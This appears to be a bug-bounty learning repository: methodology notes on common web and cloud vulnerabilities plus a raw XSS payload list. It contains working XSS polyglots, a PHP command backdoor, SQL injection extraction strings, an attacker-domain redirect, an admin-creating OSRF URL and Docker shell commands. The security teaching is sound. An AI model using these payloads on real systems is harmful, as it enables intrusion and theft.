- [Intigriti](https://www.intigriti.com/) 97 | - Responsible Disclosures [(Use Google Dorks To Find Programs)](https://github.com/sushiwushi/bug-bounty-dorks/blob/master/dorks.txt) 98 | 99 | Note: This Repo is under development, Only Notes have been added till now. Separate Section for Tools, POCs and Tricks will be created soon 100 | ### ➡️ Contributions 101 | You are Welcome to Contribute. You can contribute by: 102 | - Translating into other languages 103 | - Adding more Methodologies, Tools, and other Resources. 104 | - Just adding a star to our Github project :) 105 | 106 | :point\_right: If you have some new idea about this Repository, issue, feedback or found some valuable tool feel free to open an issue or just DM me via [@IamLucif3r_](https://twitter.com/IamLucif3r_) 107 | -------------------------------------------------------------------------------- /Notes/Exploitation Phase 1.md: -------------------------------------------------------------------------------- 1 | # Exploitation Phase - [Part-1] 2 | - When searching for vulnerabilities I always start out looking for low hanging fruit. 3 | ## 1. Subdomain Takeover 4 | ### 1.1 Intro 5 | - Searching for subdomain takeovers is one of the easiest vulnerabilities you can find and it normally pays fairly well. 6 | - A subdomain takeover occurs when a domain is pointing to another domain (CNAME) that no longer exists. 7 | - If an attacker were to register that non existing domain then the targets subdomain would now point to your domain effectively giving you full control over the target’s subdomain. 8 | 9 | ### 1.2 Subdomain Takeover 10 | - You should be searching for subdomain takeovers on a daily basis. Just because you checked your target yesterday doesn't mean they are safe today. 11 | - Before you can check for subdomain takeover you need to get a list of your target’s subdomains, this should have been done during the recon phase 12 | - Once you have a list of subdomains checking for this vulnerability should only take about 5 minutes with the following tool: 13 | - https://github.com/haccer/subjack 14 | ```bash 15 | ./subjack -w -o results.txt -ssl -c fingerprints.json 16 | ``` 17 | 18 | - The next step is to see where this domain is pointing to so we can try to take it over 19 | ```bash 20 | dig 21 | ``` 22 | 23 | --- 24 | ### 1.2.1 [Updated] Subdomain Takeover 25 | - What makes this vulnerability so interesting is that you can be safe one minute and a single DNS change can make you vulnerable the next minute. 26 |  27 | - The vulnerability here is that the target subdomain points to a domain that does not exist. An attacker can then register the non existing domain. Now the target subdomain will point to a domain the attacker controls. 28 |  29 | - You can take reference of the following Github Page if going for subdomain Takeover: 30 | - https://github.com/EdOverflow/can-i-take-over-xyz 31 | ### Github Takeover 32 | - One of the easiest ways to spot a subdomain takeover vulnerability is by the error message it throws as shown below: 33 |  34 | - you can follow the tutorial in the subdomain takeover github page as shown below: 35 |  36 | --- 37 | ### 1.3 Conclusion 38 | - Subdomain takeover is one of the easiest high impact vulnerabilities you can search for. As long as you have a list of subdomains checking for this vulnerability is a matter of running a command. Administrators are constantly changing DNS setting so a company may be safe one day and vulnerable the next because of this it’s a good idea to constantly check for this vulnerability. 39 | - --- 40 | 41 | ## 2. Github 42 | - When performing your initial recon on an organization don’t forget about GitHub. GitHub is used by developers to maintain and share their code, most of the time they end up sharing much more though. 43 | 44 | ### 2.1 Github Dorks 45 | - GitHub dorks are basically the same thing as google dorks. A dork is used to find specific information in a sea of information. It helps us narrow down the search to exactly what we want. 46 | - This can be very handy when searching for sensitive files, API keys, passwords, and a lot more. 47 | - We can use dorks to find sensitive files that developers might have accidentally uploaded. 48 | - filename:.bash_history DOMAIN-NAME 49 | - A good list of these dorks can be found below: 50 | - https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt 51 | 52 | ### 2.2 Company Github 53 | - Instead of using GitHub dorks to find exposures you might want to go directly to the source. To do this you must find the companies GitHub page and from there you can locate all their developers and monitor their accounts. 54 | - Once you find a company's page you want to get a list of people that are associated with the company. This can be done by clicking on the “people” tab. 55 | - Now you will need to manually go through each one and look for exposures. 56 | - You should be looking for URLs, api keys, usernames, paswords, vulnerabilities, and anything else that could provide value. 57 | 58 | 59 | 60 | ## 3. Misconfigured Cloud Storage Buckets 61 | - Today companies are moving their infrastructure to the cloud as it is more convenient to ent resources from third parties. However, cloud services can be tricky to set up roperly if you don’t know what you’re doing thus people mess things up and introduce vulnerabilities into their environment. 62 | - One of the most popular vulnerabilities is finding an exposed cloud storage bucket. These buckets are used to store files so depending on what's in the bucket you might have access to sensitive information. 63 | 64 | ### 3.1 AWS S3 Bucket 65 | - Amazon Web Services (AWS) is by far the most popular cloud service provider out there. The vast majority of cloud instances you come across will be hosted on this provider. 66 | 67 | #### 3.1.1 Bucket Dorks 68 | - google dork can be used to find buckets belonging to a company: 69 | - site:.s3.amazonaws.com "Starbucks" 70 | 71 | #### 3.1.2 S3 Bucket Brute force 72 | - There are way too many S3 bucket brute force tools: 73 | - https://github.com/ghostlulzhacks/s3brute 74 | ```Bash 75 | python amazon-s3-enum.py -w BucketNames.txt -d 76 | ``` 77 | - If you go to the vulnerable endpoint you should be able to list all files in the bucket. You should be looking for sensitive files such as backup files, zip files, user data, and any other PII information 78 | 79 | ### 3.2 Google Cloud Storage 80 | - The following tool can be used to brute force these bucket names. Similar to by AWS tool it uses permutations to generate bucket names. 81 | - https://github.com/RhinoSecurityLabs/GCPBucketBrute 82 | - Once you find a vulnerable endpoint visit it and search for sensitive files siilar to the AWS process. 83 | 84 | ### 3.3 Digital Ocean Spaces 85 | - If you are familiar with S3 buckets Digital ocean spaces are literally the same exact technology 86 | ```Bash 87 | site:digitaloceanspaces.com 88 | ``` 89 | - This will give you sensitive files. 90 | 91 | 92 | ## 4. Elastic Search DB 93 | - ES is a document-oriented database designed to store, retrieve, and manage document-oriented or semi-structured data. When you use Elasticsearch, you store data in JSON document form. Then, you query them for retrieval. 94 | - You have probably heard of the popular relational database called MySQL. Elastic search like MySQL is a database used to hold and query information. 95 | - However, elastic search is typically used to perform full text searches on very large datasets. 96 | - Documents are basically a json blob that hold your data as shown in the example below: 97 | {"id":1, "name":"ghostlulz", "password":"SuperSecureP@ssword"} 98 | 99 | ### 4.1 Unauthenticated Elasticsearch DB 100 | - Elastic search has an http server running on port 9200 that can be used to query the database. The major issue here is that a lot of people expose this port to the public internet without any kind of authentication. 101 | - This means anyone can query the database and extract information. A quick Shodan search will produce a tun of results as shown below: 102 |  103 | - Once you have identified that your target has port 9200 open you can easily check if it is an Elasticsearch database by hitting the root directory with a GET request. The response should look something like: 104 | 105 |  106 | 107 | 108 | 109 | ## 5. Docker API 110 | - When you install docker on a system it will expose an API on your local host located on port 2375. This API can be used to interact with the docker engine which basically gives you the right to do anything you desire unauthenticated. 111 | - Under these conditions no external party will be able to access your docker API as it isn't exposed to the world. However, in certain instances this API can be changed so that it can be accessed by external resources. 112 | - Once you have confirmed that a docker API is exposed I will generally move to the CLI version of docker. From the CLI you can execute the following command to get a list of containers that are currently being ran: 113 | ```Bash 114 | docker -H : ps 115 | ``` 116 | 117 | - We can easily pop a shell in a container by running the following command: 118 | ```bash 119 | Docker -H : exec -it /bin/bash 120 | ``` 121 | - You aren't just limited to popping a shell on their docker container, you can do other things such as deploying your own docker containers. 122 | 123 | 124 | 125 | ## 6 Kubernetes API 126 | - Kubernetes exposes an unauthenticated REST API on port 10250. If developers aren’t careful this API can be exposed to the internet. 127 | - A quick Shodan search will find a bunch of these services. 128 | -  129 | - Once a Kubernetes service is detected the first thing to do is to get a list of pods by sending a GET request to the /pods endpoint. 130 | 131 | 132 | 133 | ## 7. .git / .svn 134 | - Source code repositories like GitHub are extremely popular. A lot of people will simple copy down a git directory and throw it on their website without realizing they might have just exposed their sites source code to the world. 135 | - Git and ubversion are two of the most popular revision control systems and they contain hidden file that can cause a lot of harm if uploaded to your website. 136 | 137 | ### 7.1 Git 138 | - Git is a revision control system and it contains a hidden folder “.git” . This folder basically acts as a snapshot for your project. Every-time you create a file git will compresses it and stores it into its own data structure. 139 | - You can then recreate the repository which will contain the websites source code. To recreate the repository, you can use the following tool: 140 | - https://github.com/internetwache/GitTools/tree/master/Dumper 141 | - To use the tool type 142 | ```Bash 143 | ./gitdumper.sh https://example.com/.git/ /output-directory/ 144 | ``` 145 | - Next you manually review the source code and look for bugs, vulnerabilities, and exposed passwords. You should treat it as a source code review. 146 | 147 | ### 7.2 Subversion 148 | - Subversion like Git is a revision control system and it contains a hidden folder “.svn” . This folder can also be used to recreate the source code used on the site. 149 | - The following tool can be used to extract the files from the folder: 150 | - https://github.com/anantshri/svn-extractor 151 | - Like Git once everything is download you will manually review the source code and look for bugs, vulnerabilities, and exposed passwords. Basically, treat it as a source code review. 152 | --- 153 | ### 8. Google Firebase [Updated] 154 | - The Firebase Realtime Database is a cloud-hosted database stored as JSON and synchronized in realtime to every connected client. 155 | - Misconfigured Firebase Database 156 | - You can check if user is using Google Firebase by observing the url: 157 | - *.firebaseio.com 158 | - If the developer forgot to enable authentication the database will be exposed to the word. You can easily view the database by appending a “/.json” to the url as shown below: 159 | - vuln-domain.firebaseio.com/.json 160 | 161 | ### 9. Mongo Database [Updated] 162 | - MongoDB is a nosql database that uses JSON-like documents to store data. 163 | - If you're searching for MongoDB instances, be on the lookout for port 27017. 164 | - MongoDB doesn't have authentication enabled by default so to test for this vulnerability just try to login. 165 | ```bash 166 | mongo -ip-address-here 167 | ``` 168 | -  169 | - 170 | -------------------------------------------------------------------------------- /Payloads/XSS-Payloads-1.txt: -------------------------------------------------------------------------------- 1 | " onmouseover=alert(9205) bad=" 2 | "/>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=prompt() )//%0D%0A%0d%0a//\x3csVg/\x3e 3 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e 4 | " onclick=alert(1)// */ alert(1)// 5 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e 6 | ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> 7 | ' 8 | 9 | 10 | 11 | 12 | 13 | 14 | " onclick=alert(1)// */ alert(1)// 15 | ">>" >|\>@gmail.com'-->" >">'"> 16 | /*-->]]>%>?>'-/"/-alert(1)//>' 17 | javascript://'/-->*/alert()/* 18 | javascript://-->"/*/a 19 | javascript://"/*// 20 | javascript://-->*/alert()/* 21 | javascript://'//" -->*/alert()/* 22 | javascript://*/alert()/* 24 | -->"/*/alert()/* 25 | /*/alert()/* 26 | ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> 27 | “ onclick=alert(1)// */ alert(1)// 28 | '">>">|\>@gmail.com'-->">">'"> 29 | 30 | 31 | 32 | Joker 33 | Joker 34 | Joker 35 | Joker 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | javascript://-->*/alert()/* 45 | <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--> 46 | '%22()%26%25<> 47 | ' onmouseover=alert(9205) bad=' 48 | "> 49 | "onresize=prompt(1)> 50 | 53 | '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E 54 | < 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /Notes/Exploitation Phase 2.md: -------------------------------------------------------------------------------- 1 | # Exploitation Phase [Part-2] 2 | ## 1.Exploiting CMS 3 | - A content management system (CMS) is a software application that can be used to manage the creation and modification of digital content 4 | 5 | ### 1.1 Wordpress 6 | - There are in fact hundreds of exploits and misconfigurations impacting WordPress and its associated plugins. One common tool to scan for these vulnerabilities is wpscan: 7 | - https://github.com/wpscanteam/wpscan 8 | - TIP: Always make sure to check “/wp-content/uploads/” . 9 | 10 | ### 1.2 Joomla 11 | - If you want to scan for vulnerabilities the most popular tool is Joomscan: 12 | - https://github.com/rezasp/joomscan 13 | ```bash 14 | perl joomscan.pl -u 15 | ``` 16 | 17 | ### 1.3 Drupal 18 | - If you find a Drupal site you want to use droopescan to scan it 19 | - https://github.com/droope/droopescan 20 | ```bash 21 | python3 droopescan scan Drupal -u -t 32 22 | ``` 23 | 24 | ### 1.4 Adobe AEM 25 | - If you want to scan an application for vulnerabilities use 26 | the tool aemhacker: 27 | - https://github.com/0ang3el/aem-hacker 28 | ```bash 29 | python aem_hacker.py -u --host 30 | ``` 31 | - Note that in order to test for the SSRF vulnerabilities you need to have a public IP that the target server can connect back to. 32 | 33 | - If you come across a CMS you haven't seen before the first step is to go to xploit db and see if it has any known CVEs: 34 | - https://www.exploit-db.com/ 35 | 36 | 37 | 38 | ## 2. Eploitation OWASP 39 | - The only tool you need is Burp Suite: 40 | - https://portswigger.net/burp 41 | 42 | ### 2.1 XML External Entity (XXE) 43 | - XML External Entity (XXE) is a vulnerability that can appear when an application parses XML 44 | - you can use external entities to grab data from a file on disk and store it in a variable. What if we tried to read data from the “/etc/passwd” file and store it in a variable? Note that in order to read the data the entity must be returned in the response. 45 | - Exploitation: 46 | - Capture the POST request in Burp. Whenever you see XML you should test for XXE : 47 | - To test for XXE simply put in your malicious external entity and replace each node value with it as shown below: 48 |  49 | - If the server doesn’t block external entities the response will be reflected. 50 |  51 | 52 | ### 2.2 Cross Site Scripting (XSS) 53 | - This vulnerability can be used to execute malicious JavaScript in a user’s web browser. This could then be used to steal users JWT tokens, CSRF tokens, and cookies. 54 | - There are three types of XSS reflected, stored, and DOM based. 55 | 1. Reflected XSS: Suppose you have an application which produces an error message when you type in the wrong user name and password. The error message could look something like this: 56 | “The email or password you entered is not valid. Please try again.” 57 | - You then notice that there is a GET parameter in the URL which has this same message: 58 | “example.com/login.php?error=The+email+or+password+you+entered+is+not valid.+Please+try+again.” 59 | - If the application doesn’t protect against XSS we could insert malicious JavaScript code into the user browser. 60 | 2. Stored XSS: 61 |  62 | - Suppose you have an application that allows you to create an account. The application also has a page which lists out all the members of the site. You could assume that the username you create is being stored in the backend database otherwise how would the application be able to retrieve this information. If youwere to put a malicious JavaScript payload as your username it would then be stored in the back-end database. If the application isn’t blocking XSS attacks whenever someone visits the members list page your username would be retrieved from the back-end database and your XSS payload would trigger. 63 | 64 | 3. DOM XSS: 65 | - Document Object Model (DOM) based XSS occurs when an application takes user supplied input passes it to a JavaScript function and that function uses the input to modify the DOM environment. 66 | -  67 | 68 | 69 | ### XSS Sources [Updated] 70 | - A list of javascript sources can be found in the list below: 71 | - document.URL 72 | - document.documentURI 73 | - document.baseURI 74 | - location 75 | - location.href 76 | - location.search 77 | - location.hash 78 | - Location.pathname 79 | - Document.cookie 80 | ### Polygot [Updated] 81 | - Just pasting the payload ``` ' “”``` and looking for an alert box won't always work. You might have to break out of a set of quotes so your payload would look like ``` ‘ “alert(0)’ ``` or you have to break out of a div tag so your payload may look like ``` “ >” ``` 82 | - Maybe the vulnerability is in an image src attribute so your payload looks like ``` “javascript:alert(0)” ``` or maybe it's a DOM based vulnerability so your payload would just be ``` “alert(0)” ```. 83 | ``` javascript 84 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e 85 | ``` 86 | - The example shown above is a famous XSS polyglot by “0xsobky” and it can be used to trigger your xss payload on a multitude of scenarios. 87 | #### Beyond Alertbox [Updated] 88 | - Prompting a Alert box sounds cool, but doesn't shows the full impace of XSS Vulnerability. A lot can be done like: 89 | - Cookie Stealer: Javascript can be used to retrieve a users cookies as shown below: 90 | - Document.cookie 91 | - Redirection: By modifying the ``` “document.location” ``` we can force the browser to navigate to an attackers webpage as shown below : 92 | - Document.location = ” http://attacker-domain.com ” 93 | - Example 94 | ```javascript 95 | 96 | ``` 97 | 98 | 99 | ### 2.3 SSRF 100 | - Server-Side Request Forgery (SSRF) occurs when an attacker forces an application to make HTTP requests on their behalf. 101 | - This can be used to read data from internal applications. Most people leverage this vulnerability to post or read data from sensitive endpoints such as AWS and Gcloud metadata service, FTP service, LDAP service, and local files. 102 | - How to Find? 103 | - search for requests that have a URL as a parameter value 104 | - If the response is reflected back to the attacker you could have a possible SSRF vulnerability. 105 | - then change the URL to google.com and if I see a response then you can assume the endpoint is vulnerable. 106 |  107 | 108 | - The stock API value is changed to admin's dirctory on Local IP. The request will be performed by the target application thus it will perform a request against itself. This endpoint has an admin application hosted on the local host, normally this would be impossible to access from the internet but because of SSRF we can. 109 | 110 | ### 2.4 Cross Site Request Forgery (CSRF) 111 | - CSRF is an attack performed on an applications user that causes their browser to send requests on behalf of the attacker. 112 | - This can be used to change a user’s password and email, like a page or video, send money to an attacker, and anything else you can do via a POST request. 113 | 114 |  115 | - Impact: Suppose an application allows users to change their email by submitting a form. If the application fails to protect against CSRF attacks attackers could force users to change their email to an attacker controlled email. After that the attacker could perform a password reset to change the users password and take over their account. 116 | 117 | 118 | ### 2.5 SQL Injection 119 | - This vulnerability can be exploited to dump the contents of an applications database. 120 | - A nice cheat sheet can be found on payloadallthethings: 121 | - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection 122 | 123 |  124 | - If you ever see that error you know there is SQL injection 125 | 126 |  127 | - Basically, you ask the database “do you have 1 column?”, the server will then respond and says yes. You then ask “do you have 2 columns?” and the server responds again with yes. Then you ask “do you have 3 columns?” and the database errors out. So, you know the database table only contains 2 columns. 128 | --> ‘ order by -- 129 | 130 | - After getting to know about number of columns we need to figure out which columns are used to display text on the application. 131 | - We need to know this so we know which column to use when extracting data. 132 | --> select NULL,NULL— 133 | - To do this we can replace each selected column with a string and see if it appears on the page. 134 | --> ' union select NULL,'VULNERABLE'-- 135 | - The first thing we need to retrieve are the table names in the current database. 136 | - We can list every table in the database. 137 | --> ' union select NULL, table_name from database_name.tables— 138 | - The next step is to determine this tables column names. 139 | --> ' union select NULL, column_name from information_schema.columns where table_name = 'Table_Name' — 140 | - The final step is to exfiltrate the data. To return the password and username in the same column we can use the “concat()” function. 141 | --> ' union select NULL, concat(Column_Name,':',Column Name 2>) from Table_Name -- 142 | - However, in the real world if you find a vulnerable endpoint it’s probably best to use a tool like SQLmap as its easier and faster. 143 | - https://github.com/sqlmapproject/sqlmap 144 | ### Error-Based SQLi [Updated] 145 | - With union based sql injection the output is displayed by the application. Error based sql injection is a little different as the output is displayed in an error message. This is useful when there is no output except a sql error. 146 | - If the MySql service version is 5.1 or later we can use the “ extractvalue() ” function to exfiltrate data from the database. 147 | - The ExtractValue() function generates a SQL error when it is unable to parse the XML data passed to it. Remember with error based sql injection we must extract our data via sql error messages. 148 | - 149 | 150 | ### 2.6 Command Injection 151 | 152 | - Attackers can leverage this vulnerable to gain remote code execution (RCE) on their target. 153 | - Depending on the operating system you can use several techniques to execute additional commands thus allowing an attacker to gain RCE. 154 | 155 |  156 |  157 | 158 | - Commnad Injection Example: 159 | 160 |  161 | 162 | - Command Injection - Request & Response 163 | 164 |  165 | 166 | - As you can see, on injecting the “echo hi” command and I received a response. This is a very strong indicator that the application is vulnerable to command injection. However, the vast majority of these bug are blind and you won’t see any output making it harder to detect. 167 | 168 | ### 2.7 Cross Site Web Socket Hijacking (CSWSH) 169 | - Web sockets set up a full duplex communication channel allows use to both read and post data. This vulnerability can be used to perform XSS, SQL injection, RCE, and anything else. 170 | 171 | - WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. Full duplex means we can both read and write to the connection. 172 | 173 | - WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. Full duplex means we can both read and write to the connection. 174 | 175 |  176 | 177 | - similar to CSRF because we utilize the targets cookies to make requests 178 | - The major difference is instead of sending a POST request we initiate a web socket connection. After the WebSocket connection is established we can do whatever we want. 179 | - How to Check ? 180 | - The first thing you want to do is examine the traffic in burp. Most people only know how to use burp to test HTTP traffic but it can also handle web socket traffic as shown below: 181 |  182 | - We can use the following website to test for the vulnerability: 183 | - http://websocket.org/echo.html 184 | 185 | - I have personally used this vulnerability to exploit quite a few applications. One of the instances allowed me to completely take over users machines as the web socket connection was being used to send shell commands to a remote server. This allowed me to gain remote code execution (RCE). 186 | 187 | ### 2.8 File Upload [Updated] 188 | - As you are aware, web applications sometimes let users upload file files to their site. This can be in the form of a profile picture, pdf upload functionality, or whatever. 189 | - If done improperly attackers can upload malicious files potentially gaining remote code execution(RCE). If there is an upload feature you should be testing for this vulnerability. 190 | - One of the first things I do when testing file upload functionalities is to upload a simple cmd backdoor. 191 | - An Example of PHP Backdoor: 192 | ``` php 193 | "; $cmd = ($_REQUEST['cmd']); 194 | system($cmd); echo ""; die; }?> 195 | ``` 196 | - Content Type Bypass: 197 | - Content type validation is when the server validates the content of the file by checking the MIME type of the file, which can be found in the http request. 198 | -  199 | 200 | - As we can see the above image clearly states the file has a Content-Type of “application/x-php”. 201 | 202 | - If the server trusts the content-type in the HTTP request an attacker could change this value to “image/jpeg” which would pass the validation. 203 | - File Name Bypass 204 | 205 | - Sometimes the server will check the file name to see if it is blacklisted or white listed. 206 | - The issue with black listing is that if you forget even 1 extension attackers can bypass the validation. To implement this check most developers will use a regex to check the file extension. 207 | 208 | ### 2.9 Directory Traversal [Updated] 209 | - It is a vulnerability that occurs when developers improperly use user supplied input to fetch files from the operating system. 210 | - As you may know the “../” characters will traverse back one directory so if this string is used to retrieve files you can retrieve sensitive files by traversing up or down the file structure. 211 | - How to Detect ? 212 | 213 | - If you see an application utilizing user supplied input to fetch files you should immediately test to see if its vulnerable to directory traversal. This can be fairly easy to spot as shown below: 214 | - https://example.com/?page=index.html 215 | - As you can see there is a GET parameter called page which is used to load the contents of “index.html”. If improperly implemented attackers leverage the “../” technique to load any file they want. 216 |  217 | 218 | ### 2.10 Open Redirect [Updated] 219 | - Open redirection vulnerabilities arise when an application 220 | incorporates user-controllable data into the target of a redirection in an unsafe way [According to Google] 221 | - our goal is to make the application redirect to our site. 222 | - You'll have to test the Redirection in Old Fashion: 223 |  224 | - To do this I try to get the site to redirect to Google, if it does then the application is vulnerable. 225 | 226 | ### 2.11 Insecure Direct Object Reference (IDOR) [Updated] 227 | - A vulnerability that occurs when a user is able to view unauthorized data. The issue here is that the developer failed to implement proper access controls when calling resources so users can access other users data. 228 | - easy to find and can have a high impact depending on the context 229 | - spot this vulnerability by looking for a request which contains your user id, username, email, or some other id tied to your user 230 |  231 | - As you can see above there are two requests. One will set a users email and the other will get a users email. The backend application uses the “userId” value supplied by the user when performing these actions without any other verification. So as an attacker we could easily modify and retrieve any user's email on the application. 232 | - 233 | -------------------------------------------------------------------------------- /Notes/Misc.md: -------------------------------------------------------------------------------- 1 | # Miscellaneous 2 | ## 1. On Site Request Forgery (OSRF) 3 | - Similar to cross site request forgery(CSRF) with OSRF an attacker can force a users web browser to make requests on the attackers behalf. 4 | - The only difference is that the request is initiated from the target application whereas CSRF is initiated from an attacker controlled site. 5 | 6 |  7 | 8 | - The whole goal of this vulnerable application is to force the user to send a request to the “/admin/add” endpoint. Doing so will cause the application to add an admin user which the attacker could use to login to the victims application. 9 | - Remember the goal is to make the user browser send a request to “127.0.0.1/admin/add?username=ghost&password=lulz”. This would create a new admin user called “ghost” with the password of “lulz”. 10 | - Take a closer look at the “/” endpoint and how the “vuln_param” is used to create the src attribute of the image tag. What if an attacker were to input “../../”? 11 |  12 | - As you can see above it caused the application to send a GET request to the path“/” instead of “/images”. 13 | 14 | - The above request is a little better, if you look at the bottom right of the image you can see the browser make a request to “/admin/add.jpg”. If we add the username and password parameters we should be able to add an admin account as shown below: 15 |  16 | - Note when sending multiple parameters we must URL encode the “&” character otherwise the browser will think it belongs to the first request not the second. Also notice how the password is “lulz.jpg” and not “lulz”. This is because “.jpg” is appended to the string at the end to get rid of these characters in our password we can just add a dummy parameter as shown below: 17 | - http://127.0.0.1:5000/?vuln_param=../../admin/add?username=ghost%26password=lulz%26dummy_param= 18 | 19 |  20 | 21 | - Finally we are able to make a request to the “/admin/add” endpoint causing the application to add a new user called “ghost” with the password of “lulz”. 22 | 23 | 24 | 25 | ## 2. Prototype Pollution 26 | ### 2.1 What is Prototype ? 27 | - Javascript is a prototype based language. Prototypes are the mechanism by which JavaScript objects inherit features from one another. This means that if the prototype object is modified in one object it will apply to every other object as shown in the below example: 28 | 29 |  30 | - As you can see above we have two variables called “a” and “b”. We modify the prototype object in variable “a” by adding a variable called “foo” and giving it the value of “bar”. 31 | - You might think that this would have no effect on variable “b” but it does. The modified prototype object is inherited by variable “b”, so when we call the “foo” variable on “b” it prints “bar”. 32 | 33 | 34 | ### 2.2 Prototype Pollution? 35 | - As stated earlier javascript is a prototype based language, this means that if we modify the prototype object it will persist to all other objects. Take a look at the following code, the goal here is to set the “admin” variable to true: 36 |  37 | - Here, we are merging user supplied data with the user object. 38 | - Next it will create a variable called admin and it will check if “admin.admin” is set to true. If it is, we win. 39 | - Under normal circumstances this would be impossible as we never get the change to modify this variable but with prototype pollution we can. 40 | - During the merge process if it comes across a prototype object it will add that to the user object. Since the prototype object is inherited by all other objects we can potentially modify other variables as shown in the below curl request. 41 |  42 | - In the above image we are sending a prototype object with a variable called “admin” which is set to “true”. When the line checks to see if admin.admin is set to true it will pass because the admin object inherited the admin variable from the prototype object which we modified. 43 | 44 | Although this is a lesser known vulnerability it is just as deadly as anything else. In the past this has led to XSS, DOS attacks, and RCE so there is no limit to what you can potentially do with this. 45 | 46 | 47 | 48 | ## 3. Client Side Template Injection 49 | ### 3.1 Angular Basics 50 | - Few Things one should understand when dealing with Angular Applications, such as Templates, Expressions, and Scopes - for Client Side Template Injection 51 | - A template is an HTML snippet that tells Angular how to render the component in Angular application. 52 | - The main advantage of templates is that you can pass in data allowing you to dynamically generate HTML code based on the arguments passed to it. An example template can be found below: 53 | - ``` Welcome {{Username}}!``` 54 | - The “{{Username}}” is an expression and changes based on your username. 55 | - Expressions are Javascript like code snippets . Like Javascript expressions Angular expressions can contain literals, operators, and variables as shown below: 56 | - 1+1 57 | - A+b 58 | - User.name 59 | - Items[index] 60 | - Angular expressions are evaluated against the Scope object. Basically what this means is if you try to evaluate “alert(1)” it will fail because the scope does not have an “alert” function (unless you define one). 61 | 62 | ### 3.2 Client Side Template Injection (XSS) 63 | - Client-side template injection vulnerabilities arise when applications using a client-side template framework dynamically embed user input in web pages 64 | - As you know Angular is a client side template framework and you can embed user input into these templates. This makes Angular the perfect target for this type of vulnerability. 65 |  66 | - As you can see we didn’t get an alert box and that's because the server is encoding our input before passing it to the template as shown below. 67 | 68 |  69 | 70 | - In Angular we can use expressions which does not have to use special characters which get encoded by the “htmlspecialchars” PHP function as shown below: 71 |  72 | 73 | - As you can see above I am using the expression “{{1+1}}” which gets evaluated to “2”. This is a very strong indicator that the application is vulnerable to client side template injection. 74 | - Forcing an application to add two numbers together isn’t all that exciting, but what if we could inject javascript code. We know we can't simply insert an “alert(1)” function because that function is not defined in the scope object. 75 | - Behind the scenes “alert(1)” turns into “$scope.alert(1)”. By default the scope object contains another object called “constructor” which contains a function also called “constructor“. This function can be used to dynamically generate and execute code. This is exactly what we need to execute our XSS payload as shown below: 76 |  77 | - As you can see above our malicious Angular expression was injected into the page causing the application to dynamically generate and execute our payload. 78 |  79 | 80 | 81 | 82 | ## 4. XML External Entity (XXE) 83 | 84 | ### 4.1 XML Basics 85 | - Extensible Markup Language(XML) is a language designed to store and transport data similar to JSON. 86 | - Example: 87 | ```xml 88 | 89 | 90 | 91 | Everyday Italian 92 | Giada De Laurentiis 93 | 2005 94 | 30.00 95 | 96 | 97 | Harry Potter 98 | J K. Rowling 99 | 2005 100 | 29.99 101 | 102 | 103 | ``` 104 | 105 | - Pro tip if you ever see this in burp you should immediately test for XXE: 106 | ```xml 107 | 108 | ``` 109 | - There is an Entity, which act as varibale. 110 | 111 | ### 4.2 XML External Entity Attack 112 | - You can use external entities to grab data from a file on disk and store it in a variable. What if we tried to read data from the “/etc/passwd” file and store it in a variable ? 113 | - Note that in order to read the data the entity must be returned in the response. 114 |  115 | - To test for XXE simply put in your malicious external entity and replace each node value with it as shown below: 116 |  117 | - As You can see, an external entitiy is created to grab the data in the /etc/passed file and stored in the entity xxe. If theserver does not block external entities the response will be reflected to you. 118 |  119 | ## 5. Content Security Policy Bypass 120 | The CSP is a special HTTP header used to mitigate certain types of attacks such as cross site scripting (XSS). 121 | ### 5.1 Basics 122 | - The CSP header is fairly straightforward and there are only a few things you need to understand. First, the CSP header value is made up of directives separated with a semicolon “;” . 123 | - A list of these directives can be found below: 124 | - Default-src: This acts as a catchall for everything else. 125 | - Script-src: Describes where we can load javascript files from 126 | - Style-src: Describes where we can load stylesheets from 127 | - Font-src: Describes where we can load fonts from 128 | - These directives are set to specific values which defines which resources can be loaded and from where 129 | - * : Load resources from anywhere 130 | - ‘none’: Block everything 131 | - ‘Self’: Can only load resources from same origin 132 | - Data: Can only load resources from data schema (Base64) 133 | - Something.example.com: Can only load resources from specified domain 134 | - Https: Can only load resources over HTTPS 135 | - ‘Unsafe-inline’: Allows inline elements (onclick,`````` tags, javascript:,) 136 | - ‘Unsafe-eval’:Allows dynamic code evaluation (eval() function) 137 | - ‘Sha256-‘: Can only load resources if it matches the hash 138 | - ‘Nonce-‘: Allows an inline script or CSS to execute if the script tag contains a nonce attribute matching the nonce specified in the CSP header. 139 | ### 5.2 Basic CSP Bypass 140 | - One of the easiest ways to misconfigure the CSP is to use dangerous values when setting policies. For example suppose you have the following CSP header: 141 | - default-src 'self' * : the default-src policy acts as a catch all policy, (* acts as a Wild Card). So this policy is basically saying allow any resources to be loaded. It's the same thing as not having a CSP header! You should always look out for wildcard permissions. 142 